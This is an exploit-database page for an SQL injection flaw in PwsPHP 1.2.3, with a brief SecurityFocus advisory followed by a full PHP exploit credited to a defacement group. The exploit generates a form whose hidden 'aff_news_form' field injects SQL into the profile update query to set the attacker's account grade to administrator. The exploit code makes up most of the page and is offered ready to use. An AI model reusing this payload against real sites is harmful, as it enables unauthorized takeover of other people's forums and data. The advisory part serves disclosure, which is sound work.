PwsPHP 1.2.3 Index.PHP SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PwsPHP 1.2.3 SQL Injection Vulnerabilit

                                                source: http://www.securityfocus.com/bid/16567/info

PwsPHP is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect version 1.2.3; other versions may also be vulnerable. 

&#60;?php

/*

PwsPHP 1.2.3 & &#60;? Remote Root
magic quote: Off
Credited: papipsycho
write code: papipsycho
for: G0t R00t ? Amd [W]orld [D]efacers
Website: http://www.papipsycho.com & http://www.worlddefacers.net
Date: 09/02/2006

to connect and logged with the cookie then to launch the exploit
Enjoy.

*/

echo &#34;&#60;title&#62;PwsPHP 1.2.3 & &#60;? Remote Root :: By Papipsycho&#60;/title&#62;&#34;
         . &#34;to connect and logged with the cookie then to launch the exploit&#60;br&#62;Enjoy.&#60;br&#62;&#60;br&#62;&#34;;

if(empty($_POST[&#39;url&#39;]) AND empty($_POST[&#39;pseudo&#39;]) AND empty($_POST[&#39;pass&#39;]) AND empty($_POST[&#39;nom&#39;]))
{
        echo &#34;&#60;form method=\&#34;post\&#34; action=\&#34;pws-root_paps.php\&#34;&#62;&#34;
                 . &#34;Pseudo: &#60;input type=\&#34;text\&#34; name=\&#34;pseudo\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;Pass: &#60;input type=\&#34;text\&#34; name=\&#34;pass\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;Id: &#60;input type=\&#34;text\&#34; name=\&#34;id\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;Name: &#60;input type=\&#34;text\&#34; name=\&#34;nom\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;Mail: &#60;input type=\&#34;text\&#34; name=\&#34;mail\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;Url: &#60;input type=\&#34;text\&#34; name=\&#34;url\&#34; value=\&#34;http://example.com/pwsphp\&#34;&#62;&#60;br&#62;&#34;
                 . &#34;&#60;input type=\&#34;submit\&#34; value=\&#34;Send\&#34;&#62;&#34;
                 . &#34;&#60;/form&#62;&#34;;
}
else
{
        $url = $_POST[&#39;url&#39;];
        $pseudo = $_POST[&#39;pseudo&#39;];
        $pass = $_POST[&#39;pass&#39;];
        $pass_md5 = md5($pass);
        $nom = $_POST[&#39;nom&#39;];
        $mail = $_POST[&#39;mail&#39;];
        $id = $_POST[&#39;id&#39;];

        echo &#34;&#60;form method=\&#34;post\&#34; name=\&#34;new_user\&#34; action=\&#34;$url/profil.php\&#34; id=\&#34;formulaire\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;pseudo\&#34; value=\&#34;$pseudo\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;nom\&#34; value=\&#34;$nom\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;pass2\&#34; value=\&#34;$pass\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;oldpass\&#34; value=\&#34;$pass_md5\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;email\&#34; value=\&#34;$mail\&#34;&#62;&#34;
         . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;aff_email\&#34; value=\&#34;1\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;mp_popup\&#34; value=\&#34;1\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;popup\&#34; value=\&#34;1\&#34;&#62;&#34;
                 . &#39;&#60;input type=&#34;hidden&#34; name=&#34;aff_news_form&#34; value=\&#39;10&#34;,grade=&#34;4&#34; WHERE `users`.`pseudo`=&#34;&#39; . $pseudo . &#39;&#34; AND `users`.`id`=&#34;&#39; .$id . &#39;&#34;/*\&#39;&#62;&#39;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;icq\&#34; value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;aim\&#34;  value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;msn\&#34;  value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;yahoom\&#34; value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;site\&#34;  value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;localisation\&#34;  value=\&#34;\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;urlavatar\&#34; value=\&#34;images/avatars/1.gif\&#34;&#62;&#34;
                 . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;signatue\&#34; value=\&#34;\&#34;&#62;&#34;
         . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;ok\&#34; value=\&#34;1\&#34;&#62;&#34;
         . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;id\&#34; value=\&#34;$id\&#34;&#62;&#34;
         . &#34;&#60;input type=\&#34;hidden\&#34; name=\&#34;ac\&#34; value=\&#34;modifier\&#34;&#62;&#34;
         . &#34;&#60;center&#62;&#60;input type=\&#34;submit\&#34; value=\&#34;Clic Here\&#34;&#62;&#60;/center&#62;&#34;
                 . &#34;&#60;/form&#62;&#34;;
}
?&#62;
01 Jul 2014 00:00Current
6.7Medium risk
Vulners AI Score6.7